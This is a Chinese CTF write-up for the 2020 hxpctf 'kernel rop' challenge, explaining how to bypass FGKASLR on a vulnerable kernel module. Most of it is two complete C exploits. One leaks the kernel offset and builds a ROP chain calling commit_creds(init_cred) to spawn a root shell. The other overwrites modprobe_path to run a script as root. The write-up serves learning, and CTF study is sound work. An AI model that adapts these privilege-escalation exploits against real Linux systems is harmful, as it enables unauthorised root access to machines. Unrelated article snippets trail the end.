【FGKASLR绕过】2020 hxpctf - kernel rop

前言

本题说难不难,说简单不简单。说简单是因为题目就是一个简单的栈溢出读写,说难是因为不了解 FGKASLR 保护机制。

一开始没注意开了 FGKASLR,结果一直报错,然后在报错信息中发现其说我指定的 commit_creds 的地址不可执行,然后我才发现其开了 FGKASLR,即 commit_creds 会经过二次随机化,所以仅仅通过 kernel_offset 是无法直接泄漏 commit_creds 的地址的。

程序漏洞分析

保护:开了 SMAP、SMEP、PTI、KASLR,经过测试开了 FGKASLR

每次检测读写大小的时候,都是检测的 hackme_buf

栈溢出读:

栈溢出写:

漏洞利用

commit_creds(init_cred) 提权

漏洞可以说是白给,想法也很简单,利用栈溢出读泄漏 kernel_offset,然后利用栈溢出写劫持程序执行流,但是由于开启了 FGKASLR,仅仅通过 kernel_offset 是无法直接得到 commit_creds 等函数的地址的。

经过测试 init_cred 和 swapgs_restore_regs_and_return_to_usermode 都没有被二次随机化,所以这里我的目标是执行 commit_creds(init_cred), 其中 swapgs_restore_regs_and_return_to_usermode 函数可以帮助我们返回 userland。

所以这里的难点就在于如何泄漏 commit_creds 的地址,并且如何找到一些没有被二次随机化过的 gadget,这里参考 CTF-WIKI FGKASLR - CTF Wiki

这里测试发现,__memcpy 和 modprobe_path 也没有被二次随机化,所以这里可以通过找到一些 gadget 直接打 modprobe_path 拿 flag

CTF-WIKI 中提到了利用 ksymtab 没有被二次随机化进行关键函数地址泄漏的方法,具体见CTF-WIKI 。 所以这里思路就很明显了,读取 __ksymtab_commit_creds 中的 value_offset 偏移从而泄漏 commit_creds。

那 gadget 怎么搞呢?注意,.text 节是不会被二次随机化的,所以可以在 .text 节寻找可用的 gadget:我们可以找到如下可用 gadgets

$ python3 find_gadget.py 0xffffffff81200000 | grep "mov" | grep "\[" | grep "ret"
0xffffffff81015a80 : mov eax, dword ptr [rax] ; pop rbp ; ret$ python3 find_gadget.py 0xffffffff81200000 | grep "pop rax"
0xffffffff81004d11 : pop rax ; ret

exp 如下:注意编译时把优化关了,并关闭 Canary 保护,不然 rax 的值可能被修改,或者将一些数组操作单独放在一个函数中

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <sys/types.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");exit(EXIT_SUCCESS);
}size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}uint64_t check_leak(uint64_t addr)
{if (addr < 0xffffffff81000000) return -1;switch (addr&0xfff){case 0x437:return addr - 0xffffffff81b4c437;case 0x8ef:return addr - 0xffffffff818648ef;case 0xd27:return addr - 0xffffffff81476d27;case 0x1a1:return addr - 0xffffffff814ce1a1;case 0xdda:return addr - 0xffffffff81b9cdda;case 0x08c:return addr - 0xffffffff8120008c;}return -1;
}size_t commit_creds;
size_t pop_rdi = 0xffffffff81006370; // pop rdi ; ret
size_t init_cred = 0xffffffff82060f20;
size_t kpti_swapgs = 0xFFFFFFFF81200F26;
size_t pop_rax = 0xffffffff81004d11; // pop rax ; ret
size_t mov_eax_rax = 0xffffffff81015a80; // mov eax, dword ptr [rax] ; pop rbp ; ret
size_t __ksymtab_commit_creds = 0xffffffff81f87d90;
size_t __ksymtab_prepare_kernel_cred = 0xffffffff81f8d4fc;
char buf[0x300];
int fd;void get_commit_creds()
{asm volatile("mov commit_creds, rax;");commit_creds = (commit_creds & 0xffffffff) + __ksymtab_commit_creds - 4294967296;hexx("commit_creds", commit_creds);//Yes_I_love();uint64_t rop[] = {pop_rdi,init_cred,commit_creds,kpti_swapgs,0,0,get_root_shell,user_cs,user_rflags,user_sp,user_ss};memcpy(buf+0xa0, rop, sizeof(rop));write(fd, buf, 0xa0+sizeof(rop));puts("[+] I EXP Never END!");
}void Yes_I_love()
{uint64_t rop[] = {pop_rdi,init_cred,commit_creds,kpti_swapgs,0,0,get_root_shell,user_cs,user_rflags,user_sp,user_ss};memcpy(buf+0xa0, rop, sizeof(rop));write(fd, buf, 0xa0+sizeof(rop));puts("[+] Y EXP Never END!");
}int main(int argc, char** argv, char** env)
{save_status();uint64_t kernel_offset = -1;fd = open("/dev/hackme", O_RDWR);if (fd < 0) err_exit("FAILED to open dev file");read(fd, buf, 0x1F8);binary_dump("OOB DATA", buf, 0x1F8);for (int i = 0; i < 0x1F8 / 8; i++){kernel_offset = check_leak(*(uint64_t*)(buf+i*8));if (kernel_offset != -1) break;}if (kernel_offset == -1) err_exit("FAILED to leak kernel offset");hexx("kernel_offset", kernel_offset);uint64_t canary = *(uint64_t*)(buf+0x80);hexx("canary", canary);/*0000 0xffff9b8bc7605020 0x0000000000000fe0 0x76c4af4e3185de00 0xffff9b8bc6881610    P`................1N..v........0020 0xffffb7f6401c7e68 0x0000000000000004 0xffff9b8bc6881600 0xffffb7f6401c7ef0   h~.@.....................~.@....0040 0xffff9b8bc6881600 0xffffb7f6401c7e80 0xffffffffbdc81697 0xffffffffbdc81697   .........~.@....................0060 0xffff9b8bc6881600 0x0000000000000000 0x00007ffffdd66630 0xffffb7f6401c7ea0   ................0f.......~.@....0080 0x76c4af4e3185de00 0x00000000000001f8 0x0000000000000000 0xffffb7f6401c7ed8   ...1N..v.................~.@....00a0 0xffffffffbdc5a36f 0xffff9b8bc6881600 0xffff9b8bc6881600 0x00007ffffdd66630   o.......................0f......00c0 0x00000000000001f8 0x0000000000000000 0xffffb7f6401c7f20 0xffffffffbdd5e457   ................ ..@....W.......00e0 0xffffffffbe133b71 0x0000000000000000 0x76c4af4e3185de00 0xffffb7f6401c7f58   q;.................1N..vX..@....0100 0x0000000000000000 0x0000000000000000 0x0000000000000000 0xffffb7f6401c7f30   ........................0..@....0120 0xffffffffbdad1d8a 0xffffb7f6401c7f48 0xffffffffbd60a157 0x0000000000000000   ........H..@....W.`.............0140 0x0000000000000000 0xffffffffbd80008c 0x0000000000000000 0x00000000004c3018   .........................0L.....0160 0x0000000000000000 0x0000000000403980 0x00007ffffdd66840 0x0000000000400518   .........9@.....@h........@.....0180 0x0000000000000246 0x0000000000000000 0x0000000000000009 0x000000000049b820   F....................... .I.....01a0 0xffffffffffffffda 0x00000000004024c2 0x00000000000001f8 0x00007ffffdd66630   .........$@.............0f......01c0 0x0000000000000003 0x0000000000000000 0x00000000004024c2 0x0000000000000033   .................$@.....3.......01e0 0x0000000000000246 0x00007ffffdd665c8 0x000000000000002bffffffff814c6410 T commit_creds
ffffffff81f87d90 r __ksymtab_commit_creds
ffffffff81fa0972 r __kstrtab_commit_creds
ffffffff81fa4d42 r __kstrtabns_commit_creds*/pop_rdi += kernel_offset;init_cred += kernel_offset;kpti_swapgs += kernel_offset;pop_rax += kernel_offset;mov_eax_rax += kernel_offset;__ksymtab_commit_creds += kernel_offset;__ksymtab_prepare_kernel_cred += kernel_offset;hexx("__ksymtab_commit_creds", __ksymtab_commit_creds);hexx("__ksymtab_prepare_kernel_cred", __ksymtab_prepare_kernel_cred);hexx("kpti_swapgs", kpti_swapgs);hexx("init_cred", init_cred);uint64_t rop[] = {pop_rax,__ksymtab_commit_creds,mov_eax_rax,0,kpti_swapgs,0,0,get_commit_creds,user_cs,user_rflags,user_sp,user_ss};binary_dump("ROP", rop, sizeof(rop));memcpy(buf+0xa0, rop, sizeof(rop));write(fd, buf, 0xA0+sizeof(rop));puts("[+] Never END!");return 0;
}

效果如下: 

直接打 modprobe_path

上面说了 __memcpy 地址并没有被二次随机化,并且 modprobe_path 也没有二次随机化,所以如果可以找到一些控制 rdi/rsi/rdx 的寄存器就可以劫持程序执行 __memcpy(modprobe_path, target, size) 去修改 modprobe_path。

注意这里开启了 smap,所以 target 得是内核空间的地址,本题中就只有栈了,所以我们得从栈上看看有没有数据能够泄漏栈地址。

但是这种方式并不好,因为当控制程序执行流后一些寄存器的值可能已经被修改,这时候完整的执行一次 __memcpy可能会出现错误(好吧,不装了,就是因为我这里调试不方便,然后不知道咋泄漏栈地址,乐)。所以我们可以尝试在 .text 节去寻找一些有用的 gadget,最后我成功找到如下 gadgets:利用这两条 gadget 就可以去修改 modprobe_path 了

ffffffff810159c8: mov dword ptr [rax], ecx ; pop rbp ; ret
ffffffff81004a91: pop rcx ; pop rax ; pop rbp ; ret

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <sys/types.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");exit(EXIT_SUCCESS);
}size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}uint64_t check_leak(uint64_t addr)
{if (addr < 0xffffffff81000000) return -1;switch (addr&0xfff){case 0x437:return addr - 0xffffffff81b4c437;case 0x8ef:return addr - 0xffffffff818648ef;case 0xd27:return addr - 0xffffffff81476d27;case 0x1a1:return addr - 0xffffffff814ce1a1;case 0xdda:return addr - 0xffffffff81b9cdda;case 0x08c:return addr - 0xffffffff8120008c;}return -1;
}size_t modprobe_path = 0xffffffff82061820;
size_t kpti_swapgs = 0xFFFFFFFF81200F26;
size_t mov_rax_ecx = 0xffffffff810159c8; // mov dword ptr [rax], ecx ; pop rbp ; ret
size_t pop_rcx_rax_rbp = 0xffffffff81004a91; // pop rcx ; pop rax ; pop rbp ; ret
char buf[0x300];
int fd;void get_flag(){system("echo -ne '#!/bin/sh\n/bin/chmod 777 /dev/sda' > /tmp/x"); // modeprobe_path 修改为了 /tmp/xsystem("chmod +x /tmp/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件system("chmod +x /tmp/dummy");system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/xsleep(0.3);system("cat /dev/sda");exit(0);
}int main(int argc, char** argv, char** env)
{save_status();uint64_t kernel_offset = -1;fd = open("/dev/hackme", O_RDWR);if (fd < 0) err_exit("FAILED to open dev file");read(fd, buf, 0x1F8);binary_dump("OOB DATA", buf, 0x1F8);for (int i = 0; i < 0x1F8 / 8; i++){kernel_offset = check_leak(*(uint64_t*)(buf+i*8));if (kernel_offset != -1) break;}if (kernel_offset == -1) err_exit("FAILED to leak kernel offset");hexx("kernel_offset", kernel_offset);mov_rax_ecx += kernel_offset;pop_rcx_rax_rbp += kernel_offset;modprobe_path += kernel_offset;kpti_swapgs += kernel_offset;hexx("kpti_swapgs", kpti_swapgs);hexx("modprobe_path", modprobe_path);uint64_t rop[] = {pop_rcx_rax_rbp,0x706d742f,modprobe_path,0,mov_rax_ecx,0,pop_rcx_rax_rbp,0x782f,modprobe_path+4,0,mov_rax_ecx,0,kpti_swapgs,0,0,get_flag,user_cs,user_rflags,user_sp,user_ss};binary_dump("ROP", rop, sizeof(rop));memcpy(buf+0xa0, rop, sizeof(rop));write(fd, buf, 0xA0+sizeof(rop));puts("[+] Never END!");return 0;
}

效果如下:

总结

马后炮发言:在了解完 FG-KASLR 的绕过之后,其实可以发现其也不难,就是泄漏 commit_creds 等函数地址的时候多了一层,并且可用的 gadget 减少了。

但是我个人认为这个保护还是比较有用的,因为在一些复杂的漏洞利用中并不会像这个题目这样拥有这么好品相的洞的。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/239333.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言--每日选择题--Day32

如果大家对读研究生和就业不知道如何抉择&#xff0c;我的建议是看大家的经济基础&#xff0c;如果家里不是很需要你们工作&#xff0c;就读研提升自己的学历&#xff0c;反之就就业&#xff1b;毕竟经济基础决定上层建筑&#xff1b; 第一题 1. 下面代码的结果是&#xff1a;…

Swagger——接口文档自动生成和测试

目录 1 介绍2 使用步骤 1 介绍 Swagger 是一个规范和完整的框架&#xff0c;用于生成、描述、调用和可视化 RESTful 风格的 Web 服务(https://swagger.io/)。 它的主要作用是&#xff1a; 使得前后端分离开发更加方便&#xff0c;有利于团队协作 接口的文档在线自动生成&…

用100ask 6ull配合 飞凌 elf1的教程进行学习的记录

启动方式 百问网 elf1: 固件 emmc-otg 串口 网络 改eth0, 网线接在右边的网口eth2上

Trie字符串统计(字典树的插入与查找)

题目&#xff1a; 插入模拟&#xff1a;假如现在要依次插入cat,car,busy,cate,bus,car 查找&#xff1a; 代码&#xff1a; import java.util.Scanner;public class Main {public static int[][] chnew int[100010][26];public static int[] cntnew int[100010];public static…

【总结】二次曲面的和正负惯性指数

最难记得就是单叶双曲面和双叶双曲面&#xff0c;我的方法是**“负担”&#xff0c;负惯性指数的个数为单个就是单叶双曲面。** 特别要注意&#xff0c;这里的等号右边是正数&#xff0c;如果是负数要两边同时乘以一个负一。

【鸿蒙应用ArkTS开发系列】-自定义底部菜单列表弹窗

文章目录 前言创建Demo工程创建dialog 文件夹创建ListMenu 接口创建自定义弹窗 ListMenuDialog使用自定义弹窗 打包测试效果演示默认效果菜单带图标效果设置文本颜色效果不同文本颜色效果无标题效果 前言 上一篇文章中我们实现了选择图片、选择文件、拍照的功能 。 链接在这里…

第二节:服务拆分(案例)

一、服务拆分注意事项 1.1 拆分原则 每个微服务&#xff0c;不要重复开发相同业务&#xff08;例如在单体项目中用到了一个查询&#xff0c;这个查询功能能够查询出订单信息、商品信息、用户信息&#xff0c;那么在拆分微服务时就不要将其写在一起了&#xff0c;订单的微服务只…

【web安全】ssrf漏洞的原理与使用

前言 菜某对ssrf漏洞的总结。 ssrf的作用 主要作用&#xff1a;访问外界无法访问的内网进行信息收集。 1.进行端口扫描&#xff0c;资源访问 2.指纹信息识别&#xff0c;访问相应的默认文件 3.利用漏洞或者和payload进一步运行其他程序 4.get类型漏洞利用&#xff0c;传参数…

将不同时间点的登录状态记录转化为不同时间段的相同登录状态SQL求解

题目 有不同时间点的登录状态记录表state_log如下 请使用sql将其转化为如下表的不同时间段的相同登录状态记录 思路分析&#xff1a; 此类问题需要用到lag或lead函数取上下行对应的数据&#xff0c;然后对前后结果做比较打标签&#xff08;0或1&#xff09;&#xff0c;再…

富文本内容回显

<el-card><h7>正文内容</h7><template><div v-html"inputForm.bulletinData"></div></template></el-card> 通过 v-html 来回显数据

计算机毕业设计|基于SpringBoot+MyBatis框架健身房管理系统的设计与实现

计算机毕业设计|基于SpringBootMyBatis框架的健身房管理系统的设计与实现 摘 要:本文基于Spring Boot和MyBatis框架&#xff0c;设计并实现了一款综合功能强大的健身房管理系统。该系统涵盖了会员卡查询、会员管理、员工管理、器材管理以及课程管理等核心功能&#xff0c;并且…

数据结构:图文详解单链表的各种操作(头插法,尾插法,任意位置插入,删除节点,查询节点,求链表的长度,清空链表)

目录 一.什么是链表 二.链表的实现 节点的插入 头插法 尾插法 指定位置插入 节点的删除 删除第一次出现的关键字节点 删除所有关键字节点 节点的查找 链表的清空 链表的长度 前言&#xff1a;在上一篇文章中&#xff0c;我们认识了线性数据结构中的顺序表&#xff0…